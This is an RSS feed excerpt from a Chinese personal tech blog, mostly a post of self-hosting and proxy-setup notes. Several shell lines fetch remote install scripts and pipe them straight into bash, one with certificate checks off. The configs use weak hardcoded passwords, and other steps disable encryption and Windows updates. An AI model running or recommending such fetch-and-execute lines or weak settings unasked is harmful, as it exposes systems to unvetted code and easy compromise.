|
||
<td>否</td>
|
||
<td>无</td>
|
||
<td>否</td>
|
||
<td>是,可转为RAID</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Linear</td>
|
||
<td>将一个或多个物理硬盘的一部分或者全部作为一个存储池,可扩容</td>
|
||
<td>是</td>
|
||
<td>否</td>
|
||
<td>无</td>
|
||
<td>否</td>
|
||
<td>否</td>
|
||
</tr>
|
||
<tr>
|
||
<td>RAID类</td>
|
||
<td>自行使用搜索引擎搜索,更详细</td>
|
||
<td>未测试</td>
|
||
<td>未测试</td>
|
||
<td>未测试</td>
|
||
<td>未测试</td>
|
||
<td>未测试</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<ol>
|
||
<li>NAS迅雷内测码:迅雷牛通</li>
|
||
</ol>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>其他网站</title><link>https://blog.acofork.com/posts/other-sites/</link><guid isPermaLink="true">https://blog.acofork.com/posts/other-sites/</guid><description>AcoFork 的其他网站</description><pubDate>Fri, 01 Jan 1999 19:25:08 GMT</pubDate><content:encoded><p>::url{href="https://cover.acofork.com"}
|
||
::url{href="https://http.acofork.com"}
|
||
::url{href="https://pic1.acofork.com"}
|
||
::url{href="https://gallery.acofork.com"}
|
||
::url{href="https://img.072103.xyz"}
|
||
::url{href="https://eopfapi.acofork.com/pic"}
|
||
::url{href="https://eoddos.2x.nz"}
|
||
::url{href="https://u.2x.nz"}
|
||
::url{href="https://e3.2x.nz"}
|
||
::url{href="https://pan.2x.nz"}
|
||
::url{href="https://nas.acofork.com"}
|
||
::url{href="https://vw.acofork.com"}</p>
|
||
</content:encoded></item><item><title>隐私政策</title><link>https://blog.acofork.com/posts/privacy-policy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/privacy-policy/</guid><description>本隐私政策适用于AcoFork Blog(以下简称“我们”)。</description><pubDate>Fri, 01 Jan 1999 03:20:15 GMT</pubDate><content:encoded><h1>All Cookies</h1>
|
||
<h3>Strictly necessary cookies(必要的cookies)</h3>
|
||
<ul>
|
||
<li>Umami:收集站点的基本访问情况,并对外显示浏览量,由本站直接提供</li>
|
||
<li>Giscus:提供评论功能,由 Github 提供</li>
|
||
</ul>
|
||
<h3>Functionality cookies(功能性cookies)</h3>
|
||
<ul>
|
||
<li>无</li>
|
||
</ul>
|
||
<h3>Tracking cookies(追蹤cookies)</h3>
|
||
<ul>
|
||
<li>Google Analytics:收集站点访问情况,由 Google 提供</li>
|
||
<li>Microsoft Clarity:收集站点访问情况,由 Microsoft 提供</li>
|
||
</ul>
|
||
<h3>Targeting and advertising cookies(定位和廣告cookies)</h3>
|
||
<ul>
|
||
<li>Google Adsense:提供广告服务,由 Google 提供</li>
|
||
</ul>
|
||
<p><em>latest update: 2026/01/30</em></p>
|
||
</content:encoded></item><item><title>Gal</title><link>https://blog.acofork.com/posts/gal/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gal/</guid><pubDate>Fri, 01 Jan 1999 00:00:00 GMT</pubDate><content:encoded><h1>KARAKARA</h1>
|
||
<p>有美少女的神秘问话:“你的尾巴怎么长在前面“
|
||
我草 还有2</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal.BbrV8eY3.png" alt="" /></p>
|
||
<h1>Black Souls</h1>
|
||
<p>朋友在玩,感觉这游戏不一般
|
||
DLSite买,别在Steam买,锁日区,需日本节点</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal-1.Tj4ujRoQ.png" alt="" /></p>
|
||
<h1>小小的身影,重叠的内心</h1>
|
||
<p>小萝莉,无需多言</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal-2.BlY2fPA4.png" alt="" /></p>
|
||
<h1>永恒与星辰与日常</h1>
|
||
<p>B l u e A r c h i v e
|
||
有Demo,完整版还没</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal-3.CMQrV74O.png" alt="" /></p>
|
||
<h1>カタネガイ(已上线)</h1>
|
||
<p>白毛红瞳,无需多言</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal-4.CtbOY_cS.png" alt="" /></p>
|
||
<h1>Witches spiritual home</h1>
|
||
<p>养胃了
|
||
<strong>玩后感</strong> : 不赖,但是汉化依托</p>
|
||
<p><img src="https://blog.acofork.com/_astro/gal-5.BNwnqZ0m.png" alt="" /></p>
|
||
</content:encoded></item><item><title>记录</title><link>https://blog.acofork.com/posts/record/</link><guid isPermaLink="true">https://blog.acofork.com/posts/record/</guid><description>一些记录,不定时更新</description><pubDate>Fri, 01 Jan 1999 00:00:00 GMT</pubDate><content:encoded><h1>zt重置设备ID</h1>
|
||
<p>在 ZeroTier 中,如果你通过克隆 VM 或复制系统镜像导致 设备 ID(Node ID)重复,需要重置设备 ID。ZeroTier 的设备 ID 是基于本机生成的私钥,无法在软件内直接修改,但可以通过以下方法重置:</p>
|
||
<p>方法 1:在 Linux / Debian 上重置</p>
|
||
<p>停止 ZeroTier 服务:</p>
|
||
<pre><code>sudo systemctl stop zerotier-one
|
||
</code></pre>
|
||
<p>删除本地身份文件(Node ID):</p>
|
||
<pre><code>sudo rm -rf /var/lib/zerotier-one/identity.*
|
||
</code></pre>
|
||
<p>注意:identity.* 文件包含你的 Node ID,如果删除,ZeroTier 会生成新的 Node ID。</p>
|
||
<p>启动 ZeroTier 服务:</p>
|
||
<pre><code>sudo systemctl start zerotier-one
|
||
</code></pre>
|
||
<h1>r2.py所需依赖</h1>
|
||
<pre><code>pip install keyboard pyperclip pillow boto3 pyautogui
|
||
</code></pre>
|
||
<h1>ShellClash</h1>
|
||
<blockquote>
|
||
<p>用于在Linux上使用CLI来进行正向代理。通过导入标准的Clash <code>config.yaml</code> 来实现</p>
|
||
</blockquote>
|
||
<p>https://github.com/juewuy/ShellCrash</p>
|
||
<p>Tg通知频道:https://t.me/ShellClash</p>
|
||
<pre><code>bash -c "$(curl -kfsSl https://r2.072103.xyz/shellclash.sh)" &amp;&amp; source /etc/profile &amp;&gt; /dev/null
|
||
</code></pre>
|
||
<p>打开CLI:clash、crash
|
||
导入配置文件:6-2
|
||
安装本地Web面板:9-4-1
|
||
开机自启:4-1</p>
|
||
<h1>Vless通用配置(不加密)</h1>
|
||
<pre><code>{
|
||
"inbounds": [
|
||
{
|
||
"port": 1080, // 监听端口,可以根据需要修改
|
||
"protocol": "vless", // 使用 VLESS 协议
|
||
"settings": {
|
||
"clients": [
|
||
{
|
||
"id": "0721-07210721onani", // 这里是一个 UUID,用于识别用户
|
||
"level": 0, // 用户等级,设置为 0 表示普通用户
|
||
"email": "user@example.com" // 用户邮箱(可选)
|
||
}
|
||
],
|
||
"decryption": "none" // 设置为 none,表示没有加密
|
||
},
|
||
"streamSettings": {
|
||
"network": "tcp", // 使用 TCP 网络
|
||
"security": "none" // 不使用加密,适用于 VLESS
|
||
}
|
||
}
|
||
],
|
||
"outbounds": [
|
||
{
|
||
"protocol": "freedom", // 允许自由流量通过
|
||
"settings": {}
|
||
}
|
||
],
|
||
"routing": {
|
||
"rules": []
|
||
}
|
||
}
|
||
</code></pre>
|
||
<hr />
|
||
<h1>AMD笔记本优化</h1>
|
||
<blockquote>
|
||
<p>目标:关闭fTPM并且禁止系统重新安装、关闭Windows自动更新</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>关闭fTPM: 组策略编辑器:<code>计算机配置 - 管理模板 - 系统 - 设备安装 - 设备安装限制 - 阻止安装与下列任何设备实例 ID 相匹配的设备</code> 填写:设备管理器中的<strong>受信任的平台模块 2.0</strong> 的<code>详细信息 - 设备实例路径</code>中的值</li>
|
||
<li>关闭Windows自动更新:<code>计算机配置 - 管理模板 - Windows组件 - Windows更新</code>中的:
|
||
<ul>
|
||
<li>配置自动更新 - 已禁用</li>
|
||
<li>删除所有使用Windows更新功能的访问权限 - 已启用</li>
|
||
<li>不要连接任何Windows更新Internet位置 - 已启用</li>
|
||
<li>Windows更新不包括驱动更新 - 已启用</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>VPS融合怪测试脚本</h1>
|
||
<pre><code>bash &lt;(curl -sL kejilion.sh)
|
||
</code></pre>
|
||
<ul>
|
||
<li>融合怪测试:8-32</li>
|
||
<li>IP纯净度测试:8-4</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>哪吒探针Cloudflare版</h1>
|
||
<p>https://github.com/yumusb/nezha-new</p>
|
||
<hr />
|
||
<h1>VPS一键魔法脚本</h1>
|
||
<ul>
|
||
<li>
|
||
<p>Hysteria2(UDP):</p>
|
||
<pre><code>bash &lt;(curl -fsSL https://raw.githubusercontent.com/0x0129/hysteria2/main/install.sh) -port 0721
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>Vless+Trojan+Shadowsocks:</p>
|
||
<pre><code>bash &lt;(curl -s -L https://git.io/v2ray.sh)
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>x-ui:</p>
|
||
<pre><code>bash &lt;(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
|
||
</code></pre>
|
||
</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>Hysteria2 服务端搭建(全平台通用)</h1>
|
||
<ol>
|
||
<li>
|
||
<p>下载 Hysteria2 可执行文件: https://github.com/apernet/hysteria/releases</p>
|
||
</li>
|
||
<li>
|
||
<p>创建自签名SSL/TLS证书:</p>
|
||
<ul>
|
||
<li>创建私钥:<code>openssl genpkey -algorithm RSA -out hy2.key</code></li>
|
||
<li>创建证书签名请求:<code>openssl req -new -key hy2.key -out hy2.csr</code></li>
|
||
<li>创建证书:<code>openssl x509 -req -in hy2.csr -signkey hy2.key -out hy2.crt -days 9999</code></li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><code>config.yaml</code>:</p>
|
||
</li>
|
||
</ol>
|
||
<pre><code>listen: :443
|
||
|
||
tls:
|
||
cert: hy2.crt
|
||
key: hy2.key
|
||
|
||
auth:
|
||
type: password
|
||
password: 0721
|
||
|
||
masquerade:
|
||
type: proxy
|
||
proxy:
|
||
url: https://news.ycombinator.com/
|
||
rewriteHost: true
|
||
</code></pre>
|
||
<ol>
|
||
<li>
|
||
<p>启动 Hysteria2参数:<code>server</code></p>
|
||
</li>
|
||
<li>
|
||
<p>V2Ray客户端连接直链:</p>
|
||
<pre><code>hysteria2://0721@10.147.17.1:443?sni=bing.com&amp;insecure=1#家里云
|
||
</code></pre>
|
||
</li>
|
||
</ol>
|
||
<hr />
|
||
<h1>Cloudflare一键魔法</h1>
|
||
<p>下载 https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到Cloudflare Pages设置UUID。访问 https://你的域名.pages.dev/UUID</p>
|
||
<hr />
|
||
<h1>Cloudflare 优选方法</h1>
|
||
<h3>A、AAAA、CNAME</h3>
|
||
<ol>
|
||
<li>B域名直接套CDN指向源站</li>
|
||
<li>B域名开启SaaS,设置回退源为指向源站的域名,自定义主机名为A域名</li>
|
||
<li>B域名指向优选域名,不套CDN</li>
|
||
<li>A域名指向B域名指向的优选域名的域名 ,不套CDN</li>
|
||
</ol>
|
||
<h3>Cloudflare Pages</h3>
|
||
<ol>
|
||
<li>直接在Pages创建自定义域</li>
|
||
<li>更改子域NS到阿里云云解析DNS</li>
|
||
<li>在阿里云云解析DNS设置解析分流</li>
|
||
</ol>
|
||
<h3>Cloudflare Workers</h3>
|
||
<ol>
|
||
<li>直接在Workers创建路由,如:example.com/*</li>
|
||
<li>将被设置路由的域名解析到优选域名</li>
|
||
</ol>
|
||
<hr />
|
||
<h2>Cloudflare 优选域名</h2>
|
||
<p>二叉树树自用: fenliu.072103.xyz</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0cfff651-0590-4700-81f4-79c9e576c38d.Cnht0s1x.webp" alt="" /></p>
|
||
<p><a href="https://blog.cmliussss.com/">CM大佬</a>: cf.090227.xyz<img src="https://blog.acofork.com/_astro/8f2ac2b4-b5b7-4d9e-8d80-103181e975a9.CJ6B15tt.webp" alt="" /></p>
|
||
<p><a href="https://www.wetest.vip/page/cloudflare/cname.html">微测网</a>:cloudflare.182682.xyz</p>
|
||
<p><img src="https://blog.acofork.com/_astro/1b8b0adb-f3bc-4513-814e-4f20529a86cf.DGg-lJEq.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>魔法软件</h1>
|
||
<p>Windows:</p>
|
||
<p>https://github.com/2dust/v2rayN</p>
|
||
<p>Linux:</p>
|
||
<p>https://github.com/2dust/v2rayNG</p>
|
||
<hr />
|
||
<h1>使用Cloudflared中继RDP流量</h1>
|
||
<pre><code>cloudflared access rdp --hostname rdp.onani.cn --url rdp://localhost:3380
|
||
</code></pre>
|
||
<hr />
|
||
<h1>FRP相关</h1>
|
||
<h3>FRP基本认证参数</h3>
|
||
<pre><code>auth.token = "07210721"
|
||
</code></pre>
|
||
<h3>FRP systemd服务配置(开机自启)</h3>
|
||
<p>https://gofrp.org/zh-cn/docs/setup/systemd/</p>
|
||
<h1>Linux Deb系安装Speedtest-cli</h1>
|
||
<pre><code>apt install -y lsb-release ca-certificates apt-transport-https curl gnupg dpkg
|
||
curl -sSL https://packagecloud.io/ookla/speedtest-cli/gpgkey | gpg --dearmor &gt; /usr/share/keyrings/speedtest.gpg
|
||
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/speedtest.gpg] https://packagecloud.io/ookla/speedtest-cli/debian/ $(lsb_release -sc) main" &gt; /etc/apt/sources.list.d/speedtest.list
|
||
|
||
apt update
|
||
apt install -y speedtest
|
||
</code></pre>
|
||
<hr />
|
||
<h1>Linux监控面版:</h1>
|
||
<pre><code>apt install s-tui
|
||
</code></pre>
|
||
<hr />
|
||
<h1>Windows超级牛逼包管理器:https://scoop.sh</h1>
|
||
<hr />
|
||
<h1>Linux各发行版安装注意</h1>
|
||
<ol>
|
||
<li>非常新的版本一般才会有Realtek有线网卡的驱动</li>
|
||
<li>安装Debian要使用CLI安装(GUI安装会出现问题 <s>具体的问题我忘了</s>)</li>
|
||
<li>安装CentOS/Rocky一定要先安装GUI,否则会导致上不了网</li>
|
||
<li>除了Arch连接网络使用iwd,其他发行版都可以用nmcli连接网络</li>
|
||
</ol>
|
||
<hr />
|
||
<h1>国内Linux镜像注意事项</h1>
|
||
<ol>
|
||
<li><s>USTC(中科大源)经常会用JavaScript进行客户端验证,会导致wget和curl命令无法正确下载到文件</s><a href="/posts/bypass-ustc-verifying/">绕过USTC的浏览器JS验证 | AcoFork Blog</a>。建议使用TUNA(清华源)</li>
|
||
</ol>
|
||
<hr />
|
||
<h1>国内Docker镜像</h1>
|
||
<ul>
|
||
<li>1Panel Docker监控:https://status.1panel.top/status/docker</li>
|
||
<li>南京大学GHCR镜像源:https://ghcr.nju.edu.cn</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>安徽财贸职业学院教务学生正确入口(课表导入)</h1>
|
||
<p>https://authserver.afc.edu.cn/authserver/login</p>
|
||
</content:encoded></item></channel></rss> |